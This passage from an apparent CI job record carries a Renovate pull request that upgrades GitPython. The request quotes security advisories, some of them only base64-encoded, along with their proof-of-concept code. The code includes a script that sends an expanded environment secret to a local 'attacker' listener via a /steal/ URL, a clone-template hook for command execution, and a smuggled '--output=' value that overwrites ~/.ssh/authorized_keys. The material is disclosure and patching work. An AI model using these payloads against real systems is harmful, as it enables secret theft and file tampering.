          = repo.create_remote(\"evil\", attacker_url)   # public API\n\nstored =
          repo.remote(\"evil\").url\nprint(\"stored remote URL     :\", norm(stored))\nprint(\"SENTINEL
          in git config:\", SENTINEL in stored)\n\ntry:\n    remote.fetch()          #
          transmits the expanded URL to the attacker host\nexcept Exception:\n    pass
          \                   # fetch fails after the request is already sent\n\nsrv.shutdown()\nover_network
          = any(SENTINEL in p for p in captured)\nprint(\"HTTP paths received   :\",
          [norm(p) for p in captured])\nprint(\"SENTINEL over network :\", over_network)\n\nprint()\nif
          SENTINEL in stored and over_network:\n    print(\"VULNERABLE: env-var expanded
          into stored URL AND transmitted to attacker host\")\nelif SENTINEL in stored:\n
          \   print(\"VULNERABLE: env-var expanded into stored git-config URL\")\nelse:\n
          \   print(\"not reproduced\")\nPYEOF\n```\n\n##### Step 3: Run it\n\n```bash\ncd
          /tmp/gp-remote-poc && ./venv/bin/python poc.py\n```\n\nExpected output (the
          listener's ephemeral port is shown as `PORT`):\n\n```\ngitpython version:
          3.1.53\nattacker-supplied URL : http://127.0.0.1:PORT/steal/${GP_SENTINEL_SECRET}/repo.git\nstored
          remote URL     : http://127.0.0.1:PORT/steal/leaked-a1b2c3-SENTINEL-do-not-use/repo.git\nSENTINEL
          in git config: True\nHTTP paths received   : ['/steal/leaked-a1b2c3-SENTINEL-do-not-use/repo.git/info/refs?service=git-upload-pack']\nSENTINEL
          over network : True\n\nVULNERABLE: env-var expanded into stored URL AND
          transmitted to attacker host\n```\n\nThe `${GP_SENTINEL_SECRET}` token in
          the supplied URL is replaced with the environment value both in the stored
          `.git/config` URL and in the request that reaches the attacker-controlled
          host.\n\n##### Suggested Fix\n\nPass `expand_vars=False` at the remaining
          URL callers, matching the clone fix:\n\n- `git/remote.py` `Remote.create`:
          `url = Git.polish_url(url, expand_vars=False)`\n- `git/objects/submodule/base.py`
          `Submodule.add`: `url = Git.polish_url(url, expand_vars=False)`\n\nMore
          robustly, flip the `Git.polish_url()` default to `expand_vars=False` (env-var
          expansion on a URL is never desirable for network remotes) and require callers
          that genuinely normalize local paths to opt in.\n\n##### Cleanup\n\n```bash\nrm
          -rf /tmp/gp-remote-poc\n```\n\n##### Impact\n\nAny secret in the hosting
          process environment (`AWS_SECRET_ACCESS_KEY`, `GITHUB_TOKEN`, CI/CD tokens)
          is disclosed to an attacker who controls a remote URL passed to `Repo.create_remote()`
          / `Remote.add()`. The secret is expanded into `.git/config` immediately
          and transmitted over the network (DNS + HTTP) on the next `fetch`/`pull`/`remote
          update`. This is the documented \"import repository from URL\" attacker
          model of GHSA-rwj8-pgh3-r573 \u2014 CI servers, git-hosting mirrors, and
          dependency scanners \u2014 applied to the add-a-remote flow, which the clone-only
          fix did not cover. The same disclosure reaches `.gitmodules` (a committable
          file) via `Submodule.add()`.\n\n#### Severity\n- CVSS Score: 7.5 / 10 (High)\n-
          Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n\n#### References\n-
          [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-94p4-4cq8-9g67](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-94p4-4cq8-9g67)\n-
          [https://github.com/gitpython-developers/GitPython/commit/863417457a0633db7ea5aed4fd01e0b291a41162](https://redirect.github.com/gitpython-developers/GitPython/commit/863417457a0633db7ea5aed4fd01e0b291a41162)\n-
          [https://github.com/gitpython-developers/GitPython](https://redirect.github.com/gitpython-developers/GitPython)\n-
          [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.55](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.55)\n\nThis
          data is provided by [OSV](https://osv.dev/vulnerability/GHSA-94p4-4cq8-9g67)
          and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          Release Notes\n\n<details>\n<summary>gitpython-developers/GitPython (GitPython)</summary>\n\n###
          [`v3.1.55`](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.55):
          - SECURITY\n\n[Compare Source](https://redirect.github.com/gitpython-developers/GitPython/compare/3.1.54...3.1.55)\n\n####
          What's Changed\n\n- fix: prevent environment expansion in remote URLs by
          [@&#8203;Byron](https://redirect.github.com/Byron) in [#&#8203;2181](https://redirect.github.com/gitpython-developers/GitPython/pull/2181)\n\n**Full
          Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.54...3.1.55>\n\n###
          [`v3.1.54`](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.54):
          - SECURITY\n\n[Compare Source](https://redirect.github.com/gitpython-developers/GitPython/compare/3.1.53...3.1.54)\n\n####
          What's Changed\n\n- Harden unsafe Git option validation by [@&#8203;Byron](https://redirect.github.com/Byron)
          in [#&#8203;2180](https://redirect.github.com/gitpython-developers/GitPython/pull/2180)\n\n**Full
          Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.53...3.1.54>\n\n</details>\n\n---\n\n###
          Configuration\n\n\U0001F4C5 **Schedule**: (UTC)\n\n- Branch creation\n  -
          At any time (no schedule defined)\n- Automerge\n  - At any time (no schedule
          defined)\n\n\U0001F6A6 **Automerge**: Disabled by config. Please merge this
          manually once you are satisfied.\n\n\u267B **Rebasing**: Whenever PR becomes
          conflicted, or you tick the rebase/retry checkbox.\n\n\U0001F515 **Ignore**:
          Close this PR and you won't be reminded about these updates again.\n\n---\n\n
          - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this
          box\n\n---\n\nThis PR was generated by [Mend Renovate](https://mend.io/renovate/).
          View the [repository job log](https://developer.mend.io/github/osism/netbox-manager).\n<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yODAuMCIsInVwZGF0ZWRJblZlciI6IjQzLjI4MC4wIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJyZW5vdmF0ZSJdfQ==-->\n"
        change_url: https://github.com/osism/netbox-manager/pull/288
        commit_id: 88dcc4c93b231dc61d86ee4e7646206b92a07022
        patchset: 88dcc4c93b231dc61d86ee4e7646206b92a07022
        project:
          canonical_hostname: github.com
          canonical_name: github.com/osism/netbox-manager
          name: osism/netbox-manager
          short_name: netbox-manager
          src_dir: src/github.com/osism/netbox-manager
        topic: null
      job: netbox-manager-e2e
      jobtags: []
      max_attempts: 3
      message: VXBkYXRlIGRlcGVuZGVuY3kgR2l0UHl0aG9uIHRvIHYzLjEuNTUgW1NFQ1VSSVRZXQoKVGhpcyBQUiBjb250YWlucyB0aGUgZm9sbG93aW5nIHVwZGF0ZXM6Cgp8IFBhY2thZ2UgfCBDaGFuZ2UgfCBbQWdlXShodHRwczovL2RvY3MucmVub3ZhdGVib3QuY29tL21lcmdlLWNvbmZpZGVuY2UvKSB8IFtDb25maWRlbmNlXShodHRwczovL2RvY3MucmVub3ZhdGVib3QuY29tL21lcmdlLWNvbmZpZGVuY2UvKSB8CnwtLS18LS0tfC0tLXwtLS18CnwgW0dpdFB5dGhvbl0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbikgfCBgPT0zLjEuNTNgIOKGkiBgPT0zLjEuNTVgIHwgIVthZ2VdKGh0dHBzOi8vZGV2ZWxvcGVyLm1lbmQuaW8vYXBpL21jL2JhZGdlcy9hZ2UvcHlwaS9naXRweXRob24vMy4xLjU1P3NsaW09dHJ1ZSkgfCAhW2NvbmZpZGVuY2VdKGh0dHBzOi8vZGV2ZWxvcGVyLm1lbmQuaW8vYXBpL21jL2JhZGdlcy9jb25maWRlbmNlL3B5cGkvZ2l0cHl0aG9uLzMuMS41My8zLjEuNTU/c2xpbT10cnVlKSB8CgotLS0KCj4gWyFXQVJOSU5HXQo+IFNvbWUgZGVwZW5kZW5jaWVzIGNvdWxkIG5vdCBiZSBsb29rZWQgdXAuIENoZWNrIHRoZSBbRGVwZW5kZW5jeSBEYXNoYm9hcmRdKC4uL2lzc3Vlcy8xKSBmb3IgbW9yZSBpbmZvcm1hdGlvbi4KCi0tLQoKIyMjIEdpdFB5dGhvbjogSW5jb21wbGV0ZSB1bnNhZmVfZ2l0X2Nsb25lX29wdGlvbnMgZGVueWxpc3Qgb21pdHMgLS10ZW1wbGF0ZSBlbmFibGluZyBhcmJpdHJhcnkgY29tbWFuZCBleGVjdXRpb24gdmlhIGNsb25lIGhvb2tzCltHSFNBLTZwOGgtM3dneC05N2dmXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vYWR2aXNvcmllcy9HSFNBLTZwOGgtM3dneC05N2dmKQoKPGRldGFpbHM+CjxzdW1tYXJ5Pk1vcmUgaW5mb3JtYXRpb248L3N1bW1hcnk+CgojIyMjIERldGFpbHMKIyMjIyMgU3VtbWFyeQpHaXRQeXRob24ncyBgdW5zYWZlX2dpdF9jbG9uZV9vcHRpb25zYCBkZW55bGlzdCBvbWl0cyBgLS10ZW1wbGF0ZWAuIGBnaXQgY2xvbmUgLS10ZW1wbGF0ZT08ZGlyPmAgY29waWVzIGA8ZGlyPi9ob29rcy9gIGludG8gdGhlIG5ldyByZXBvc2l0b3J5IGFuZCBydW5zIHRoZW0gKGBwb3N0LWNoZWNrb3V0YCBmaXJlcyBkdXJpbmcgY2xvbmUpLCBzbyBhIGNhbGxlciB3aG8gY2FuIGluZmx1ZW5jZSBjbG9uZSBvcHRpb25zIGNhbiBhY2hpZXZlIGFyYml0cmFyeSBjb21tYW5kIGV4ZWN1dGlvbiBpbiB0aGUgZGVmYXVsdCBgYWxsb3dfdW5zYWZlX29wdGlvbnM9RmFsc2VgIGNvbmZpZ3VyYXRpb24uCgojIyMjIyBSb290IENhdXNlCmBiYXNlLnB5OjE0NS0xNTJgIGRlZmluZXMgYHVuc2FmZV9naXRfY2xvbmVfb3B0aW9ucyA9IFsiLS11cGxvYWQtcGFjayIsIi11IiwiLS1jb25maWciLCItYyJdYCDigJQgYC0tdGVtcGxhdGVgIGlzIGFic2VudC4gVGhlIGd1YXJkIGNhbmRpZGF0ZSBgWyctLXRlbXBsYXRlJ11gIHBhc3NlcyBgY2hlY2tfdW5zYWZlX29wdGlvbnNgICh2ZXJpZmllZCkuIGdpdCBjb3BpZXMgdGhlIGhvb2sgZGlyZWN0b3J5IGFuZCBleGVjdXRlcyBgcG9zdC1jaGVja291dGAgYXQgY2hlY2tvdXQgdGltZS4gZ2l0J3MgYHByb3RvY29sLmFsbG93YC9gR0lUX0FMTE9XX1BST1RPQ09MYCBkbyBub3QgZ2F0ZSBgLS10ZW1wbGF0ZWA7IHRoZSBpbmNvbXBsZXRlIGRlbnlsaXN0IGlzIHRoZSBvbmx5IGRlZmVuc2UuCgojIyMjIyBJbXBhY3QKQXJiaXRyYXJ5IE9TIGNvbW1hbmQgZXhlY3V0aW9uIGR1cmluZyBjbG9uZSAoZGVmYXVsdCBjb25maWcpLiBSZXF1aXJlcyBhbiBhdHRhY2tlci1yZWFkYWJsZSBkaXJlY3RvcnkgY29udGFpbmluZyBhbiBleGVjdXRhYmxlIGhvb2sg4oCUIGEgZ2VudWluZSBzZWNvbmQgcHJlY29uZGl0aW9uIChyZWFsaXN0aWMgdmlhIHNoYXJlZCBmaWxlc3lzdGVtcywgdXBsb2FkIGRpcnMsIGAvdG1wYCwgb3IgYXR0YWNrZXItd3JpdGFibGUgbmV0d29yayBwYXRocyksIHJlZmxlY3RlZCBhcyBBQzpILgoKIyMjIyMgUHJvb2Ygb2YgQ29uY2VwdApgYGBweXRob24KCiMjIyMjIGF0dGFja2VyIHN0YWdlcyA8ZGlyPi9ob29rcy9wb3N0LWNoZWNrb3V0IChjaG1vZCAreCkKZnJvbSBnaXQgaW1wb3J0IFJlcG8KUmVwby5jbG9uZV9mcm9tKHNyYywgZHN0LCB0ZW1wbGF0ZT0nPGRpcj4nKSAgICMgcG9zdC1jaGVja291dCBob29rIGV4ZWN1dGVzIC0+IG1hcmtlciBjcmVhdGVkICh2ZXJpZmllZCkKYGBgCgojIyMjIyBBdHRhY2sgQ2hhaW4KMS4gU2V0dXA6IGF0dGFja2VyIHN0YWdlcyBgPGRpcj4vaG9va3MvcG9zdC1jaGVja291dGAgKGNobW9kICt4KS4gR3VhcmQ6IG4vYSAoZmlsZXN5c3RlbSkuCjIuIEVudHJ5OiBgUmVwby5jbG9uZV9mcm9tKHVybCwgcGF0aCwgdGVtcGxhdGU9JzxkaXI+JylgLiBHdWFyZDogYGNoZWNrX3Vuc2FmZV9vcHRpb25zKGNhbmRpZGF0ZXM9WyctLXRlbXBsYXRlJ10sIHVuc2FmZT11bnNhZmVfZ2l0X2Nsb25lX29wdGlvbnMpYC4gQnlwYXNzIHByb29mOiBgLS10ZW1wbGF0ZWAgbm90IG9uIHRoZSBkZW55bGlzdCAtPiBwYXNzZXMgKHZlcmlmaWVkIGNhbmRpZGF0ZSBgWyctLXRlbXBsYXRlJ11gLCBubyBlcnJvcikuCjMuIFNpbms6IGdpdCBjb3BpZXMgdGhlIGhvb2sgYW5kIGV4ZWN1dGVzIGBwb3N0LWNoZWNrb3V0YCBhdCBjaGVja291dC4gSW1wYWN0OiBBQ0UsIGRlZmF1bHQgY29uZmlnICh2ZXJpZmllZCBtYXJrZXIgY3JlYXRlZCkuCgojIyMjIyBCeXBhc3MgRXZpZGVuY2UKTGl2ZS12ZXJpZmllZCBvbiBIRUFEICh0YWcgMy4xLjUzKTogZ3VhcmQgY2FuZGlkYXRlIGBbJy0tdGVtcGxhdGUnXWAgcGFzc2VkIHdpdGggbm8gZXJyb3I7IHN0YWdlZCBgcG9zdC1jaGVja291dGAgaG9vayBleGVjdXRlZCBkdXJpbmcgYGNsb25lX2Zyb21gLCBjcmVhdGluZyB0aGUgbWFya2VyLiBJbmRlcGVuZGVudCBvZiB0aGUgdmFsdWUtc211Z2dsZSBieXBhc3MgKGAtLXRlbXBsYXRlYCBpcyBhIGxlZ2l0aW1hdGUgbG9uZyBvcHRpb24gdGhhdCBzdXJ2aXZlcyBhbnkgc2luZ2xlLWNoYXItdmFsdWUgZml4KS4gTm90IGNvdmVyZWQgYnkgYW55IGV4aXN0aW5nIGFkdmlzb3J5LgoKIyMjIyMgQWZmZWN0ZWQgVmVyc2lvbnMKYDw9IDMuMS41M2AKCiMjIyMjIFN1Z2dlc3RlZCBGaXgKQWRkIGAtLXRlbXBsYXRlYCAoYW5kIGF1ZGl0IGZvciBvdGhlciBob29rL2V4ZWMtaW5mbHVlbmNpbmcgb3B0aW9ucykgdG8gYHVuc2FmZV9naXRfY2xvbmVfb3B0aW9uc2AuCgotLS0KUmVwb3J0ZWQgYnkgKip6eCAoSmFjZSkqKiDigJQgR2l0SHViOiBAJiM4MjAzO21hbnVzLXVzZQoKIyMjIyBTZXZlcml0eQotIENWU1MgU2NvcmU6IDcuNSAvIDEwIChIaWdoKQotIFZlY3RvciBTdHJpbmc6IGBDVlNTOjMuMS9BVjpOL0FDOkgvUFI6TC9VSTpOL1M6VS9DOkgvSTpIL0E6SGAKCiMjIyMgUmVmZXJlbmNlcwotIFtodHRwczovL2dpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL3NlY3VyaXR5L2Fkdmlzb3JpZXMvR0hTQS02cDhoLTN3Z3gtOTdnZl0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9zZWN1cml0eS9hZHZpc29yaWVzL0dIU0EtNnA4aC0zd2d4LTk3Z2YpCi0gW2h0dHBzOi8vZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcHVsbC8yMTgwXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL3B1bGwvMjE4MCkKLSBbaHR0cHM6Ly9naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9jb21taXQvZmZjYjUzNTllODc2MTlmNGZlNGE3MGE0YWZmNWYwOGM1NTgwYmE5N10oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9jb21taXQvZmZjYjUzNTllODc2MTlmNGZlNGE3MGE0YWZmNWYwOGM1NTgwYmE5NykKLSBbaHR0cHM6Ly9naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbl0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbikKLSBbaHR0cHM6Ly9naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9yZWxlYXNlcy90YWcvMy4xLjU0XShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL3JlbGVhc2VzL3RhZy8zLjEuNTQpCgpUaGlzIGRhdGEgaXMgcHJvdmlkZWQgYnkgW09TVl0oaHR0cHM6Ly9vc3YuZGV2L3Z1bG5lcmFiaWxpdHkvR0hTQS02cDhoLTN3Z3gtOTdnZikgYW5kIHRoZSBbR2l0SHViIEFkdmlzb3J5IERhdGFiYXNlXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZ2l0aHViL2Fkdmlzb3J5LWRhdGFiYXNlKSAoW0NDLUJZIDQuMF0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdGh1Yi9hZHZpc29yeS1kYXRhYmFzZS9ibG9iL21haW4vTElDRU5TRS5tZCkpLgo8L2RldGFpbHM+CgotLS0KCiMjIyBHaXRQeXRob246IEFyYml0cmFyeSBmaWxlIG92ZXJ3cml0ZSB2aWEgZ2l0IGRpZmYgLS1vdXRwdXQgYXJndW1lbnQgaW5qZWN0aW9uIGluIERpZmZhYmxlLmRpZmYgKGtleS0gYW5kIHZhbHVlLWNvbnRyb2xsZWQpCltHSFNBLWZqcjQteDY2My1td3hjXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vYWR2aXNvcmllcy9HSFNBLWZqcjQteDY2My1td3hjKQoKPGRldGFpbHM+CjxzdW1tYXJ5Pk1vcmUgaW5mb3JtYXRpb248L3N1bW1hcnk+CgojIyMjIERldGFpbHMKIyMjIyMgU3VtbWFyeQpgRGlmZmFibGUuZGlmZigpYCBmb3J3YXJkcyBgKiprd2FyZ3NgIHN0cmFpZ2h0IGludG8gYGRpZmZgL2BkaWZmX3RyZWVgIHdpdGggKipubyoqIGBjaGVja191bnNhZmVfb3B0aW9uc2AgZ3VhcmQuIGBEaWZmYWJsZWAgaXMgbWl4ZWQgaW50byBgQ29tbWl0YCwgYFRyZWVgLCBgSW5kZXhGaWxlYCwgYW5kIGBTdWJtb2R1bGVgLCBnaXZpbmcgYSBicm9hZCBzdXJmYWNlLiBgZ2l0IGRpZmYgLS1vdXRwdXQ9PHBhdGg+YCB3cml0ZXMgcmVhbCBwYXRjaCBjb250ZW50IHRvIGFuIGF0dGFja2VyLWNob3NlbiBwYXRoLCBlbmFibGluZyBhcmJpdHJhcnkgZmlsZSBvdmVyd3JpdGUuCgojIyMjIyBSb290IENhdXNlCmBkaWZmLnB5OjE4OC0yODNgIGJ1aWxkcyBhbmQgcnVucyB0aGUgZGlmZiBjb21tYW5kIHdpdGggbm8gYGNoZWNrX3Vuc2FmZV9vcHRpb25zYCBhbnl3aGVyZSBpbiB0aGUgbWV0aG9kIChncmVwLWNvbmZpcm1lZCkuIEFkZGl0aW9uYWxseSBgZGlmZi5weToyNjVgIGRvZXMgYGFyZ3MuaW5zZXJ0KDAsIG90aGVyKWAsIHBsYWNpbmcgdGhlIGNhbGxlci1zdXBwbGllZCBgb3RoZXJgIHJlZiBCRUZPUkUgdGhlIGAtLWAgc2VwYXJhdG9yLCBzbyBhIHZhbHVlIG9mIGAtLW91dHB1dD0vcGF0aGAgaXMgcGFyc2VkIGJ5IGdpdCBhcyBhbiBvcHRpb24g4oCUIGEgdmFsdWUtb25seSBjb250cm9sIHBhdGggcmVxdWlyaW5nIG5vIGt3YXJnIGtleS4KCiMjIyMjIEltcGFjdApPdmVyd3JpdGUvY29ycnVwdCBhbnkgZmlsZSBhdCBwcm9jZXNzIHByaXZpbGVnZSB3aXRoIGF0dGFja2VyLWNob3NlbiBwYXRoIChlLmcuIGB+Ly5zc2gvYXV0aG9yaXplZF9rZXlzYCwgY29uZmlncywgbG9ja2ZpbGVzKS4gQ29udGVudCBpcyByZWFsIGRpZmYvcGF0Y2ggYnl0ZXMgKGF0dGFja2VyLWluZmx1ZW5jZWQpLiBQZXIgdGhlIHNraWxsJ3MgcnVsZSwgY29udHJvbGxpbmcgV0hJQ0ggZmlsZSBpcyBvdmVyd3JpdHRlbiA9IEk6SCByZWdhcmRsZXNzIG9mIGNvbnRlbnQgY29uc3RyYWludHMuCgojIyMjIyBQcm9vZiBvZiBDb25jZXB0CmBgYHB5dGhvbgoKIyMjIyMgS2V5LWNvbnRyb2w6CmNvbW1pdC5kaWZmKG90aGVyX2NvbW1pdCwgb3V0cHV0PScvaG9tZS9hcHAvLnNzaC9hdXRob3JpemVkX2tleXMnKSAgICMgdmljdGltIG92ZXJ3cml0dGVuIHdpdGggZGlmZiAoMTA1IGJ5dGVzIHZlcmlmaWVkKQoKIyMjIyMgVmFsdWUtY29udHJvbCAoYXR0YWNrZXIgY29udHJvbHMgb25seSB0aGUgcmVmIHN0cmluZyk6CmNvbW1pdC5kaWZmKG90aGVyPSctLW91dHB1dD0vaG9tZS9hcHAvLnNzaC9hdXRob3JpemVkX2tleXMnKSAgICAgICAgICAjIDE0LWJ5dGUgdmljdGltIC0+IDE0NiBieXRlcyBvZiBkaWZmLXRyZWUgb3V0cHV0CmBgYAoKIyMjIyMgQXR0YWNrIENoYWluCjEuIEVudHJ5ICh2YWx1ZS1jb250cm9sKTogYGNvbW1pdC5kaWZmKG90aGVyPTx1c2VyIHJlZj4pYCB3aXRoIGBvdGhlciA9ICItLW91dHB1dD0vaG9tZS9hcHAvLnNzaC9hdXRob3JpemVkX2tleXMiYC4gR3VhcmQ6IG5vbmUgaW4gYERpZmZhYmxlLmRpZmZgLiBCeXBhc3MgcHJvb2Y6IG5vIGBjaGVja191bnNhZmVfb3B0aW9uc2AgaW4gdGhlIG1ldGhvZCBib2R5IChncmVwKTsgYG90aGVyYCBpbnNlcnRlZCBwcmUtYC0tYCBhdCBkaWZmLnB5OjI2NS4KMi4gU2luazogYGdpdCBkaWZmLXRyZWUgPHNoYT4gLS1vdXRwdXQ9L2hvbWUvYXBwLy5zc2gvYXV0aG9yaXplZF9rZXlzIC1yIC4uLmAgLT4gZ2l0IG9wZW5zK3RydW5jYXRlcyB0aGUgdGFyZ2V0IHRoZW4gd3JpdGVzIGRpZmYgY29udGVudC4gSW1wYWN0OiBvdmVyd3JpdGUvY29ycnVwdCBhbnkgZmlsZSBhdCBwcm9jZXNzIHByaXZpbGVnZSAoYXR0YWNrZXIgY2hvb3NlcyB0aGUgcGF0aCkuIFZlcmlmaWVkIGFyZ3YgYW5kIHZpY3RpbSBvdmVyd3JpdGUgbGl2ZS4KCiMjIyMjIEJ5cGFzcyBFdmlkZW5jZQpMaXZlLXZlcmlmaWVkIG9uIEhFQUQgKHRhZyAzLjEuNTMpOiBib3RoIGtleS1jb250cm9sIChgb3V0cHV0PWApIGFuZCB2YWx1ZS1jb250cm9sIChgb3RoZXI9Jy0tb3V0cHV0PS4uLidgKSBvdmVyd3JvdGUgYSB2aWN0aW0gZmlsZSB3aXRoIHJlYWwgZGlmZi10cmVlIGNvbnRlbnQ7IGFyZ3YgY29uZmlybWVkIGBbJ2dpdCcsJ2RpZmYtdHJlZScsJzxzaGE+JywnLS1vdXRwdXQ9L3ZpY3RpbScsJy1yJywuLi5dYC4gVGhpcyBpcyB0aGUgc2FtZSB2YWx1ZS1jb250cm9sIG1vZGVsIEdIU0EtOTU2eCBkZWVtZWQgZml4LXdvcnRoeSBmb3IgYGl0ZXJfY29tbWl0cyhyZXY9Jy0tb3V0cHV0PScpYCDigJQgYnV0IGBkaWZmYCBpcyBhIGRpc3RpbmN0LCB1bmd1YXJkZWQgc2luayBOT1QgdG91Y2hlZCBieSB0aGF0IGZpeC4KCiMjIyMjIEFmZmVjdGVkIFZlcnNpb25zCmA8PSAzLjEuNTNgCgojIyMjIyBTdWdnZXN0ZWQgRml4CkFkZCBgY2hlY2tfdW5zYWZlX29wdGlvbnNgIHRvIGBEaWZmYWJsZS5kaWZmYCAobWlycm9yaW5nIGBpdGVyX2NvbW1pdHNgL2BhcmNoaXZlYCksIGFuZC9vciBwbGFjZSBgLS1lbmQtb2Ytb3B0aW9uc2AgYmVmb3JlIHRoZSBgb3RoZXJgIHJlZiBzbyBpdCBjYW5ub3QgYmUgcGFyc2VkIGFzIGFuIG9wdGlvbi4KCi0tLQpSZXBvcnRlZCBieSAqKnp4IChKYWNlKSoqIOKAlCBHaXRIdWI6IEAmIzgyMDM7bWFudXMtdXNlCgojIyMjIFNldmVyaXR5Ci0gQ1ZTUyBTY29yZTogOC4xIC8gMTAgKEhpZ2gpCi0gVmVjdG9yIFN0cmluZzogYENWU1M6My4xL0FWOk4vQUM6TC9QUjpML1VJOk4vUzpVL0M6Ti9JOkgvQTpIYAoKIyMjIyBSZWZlcmVuY2VzCi0gW2h0dHBzOi8vZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vc2VjdXJpdHkvYWR2aXNvcmllcy9HSFNBLWZqcjQteDY2My1td3hjXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL3NlY3VyaXR5L2Fkdmlzb3JpZXMvR0hTQS1manI0LXg2NjMtbXd4YykKLSBbaHR0cHM6Ly9naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9wdWxsLzIxODBdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcHVsbC8yMTgwKQotIFtodHRwczovL2dpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL2NvbW1pdC8xZDUxYjg5MWQ3ZjIzNjA0NGE2YWExNzQ5OGVjNjgyYjYzZGFkNmU2XShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL2NvbW1pdC8xZDUxYjg5MWQ3ZjIzNjA0NGE2YWExNzQ5OGVjNjgyYjYzZGFkNmU2KQotIFtodHRwczovL2dpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uKQotIFtodHRwczovL2dpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL3JlbGVhc2VzL3RhZy8zLjEuNTRdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcmVsZWFzZXMvdGFnLzMuMS41NCkKClRoaXMgZGF0YSBpcyBwcm92aWRlZCBieSBbT1NWXShodHRwczovL29zdi5kZXYvdnVsbmVyYWJpbGl0eS9HSFNBLWZqcjQteDY2My1td3hjKSBhbmQgdGhlIFtHaXRIdWIgQWR2aXNvcnkgRGF0YWJhc2VdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRodWIvYWR2aXNvcnktZGF0YWJhc2UpIChbQ0MtQlkgNC4wXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZ2l0aHViL2Fkdmlzb3J5LWRhdGFiYXNlL2Jsb2IvbWFpbi9MSUNFTlNFLm1kKSkuCjwvZGV0YWlscz4KCi0tLQoKIyMjIEdpdFB5dGhvbjogVW5zYWZlIGdpdCBvcHRpb24gZ3VhcmQgYnlwYXNzIHZpYSBzaW5nbGUtY2hhcmFjdGVyIGt3YXJnIHZhbHVlIHRva2VuIHNtdWdnbGluZyBlbmFibGVzIGFyYml0cmFyeSBjb21tYW5kIGV4ZWN1dGlvbgpbR0hTQS1yOW1yLW0zN2MtNWZyM10oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2Fkdmlzb3JpZXMvR0hTQS1yOW1yLW0zN2MtNWZyMykKCjxkZXRhaWxzPgo8c3VtbWFyeT5Nb3JlIGluZm9ybWF0aW9uPC9zdW1tYXJ5PgoKIyMjIyBEZXRhaWxzCiMjIyMjIFN1bW1hcnkKR2l0UHl0aG9uJ3MgYGNoZWNrX3Vuc2FmZV9vcHRpb25zYCBndWFyZCAodGhlIGNvbnRyb2wgaW50cm9kdWNlZCBieSBDVkUtMjAyNi00MjIxNSAvIEdIU0EtMmY5NiBhbmQgaGFyZGVuZWQgc2luY2UpIGNhbiBiZSBieXBhc3NlZCBmb3IgKipldmVyeSoqIGd1YXJkZWQgbWV0aG9kIChgY2xvbmVgL2BjbG9uZV9mcm9tYCwgYGZldGNoYC9gcHVsbGAvYHB1c2hgLCBgbHNfcmVtb3RlYCwgYGl0ZXJfY29tbWl0c2AsIGB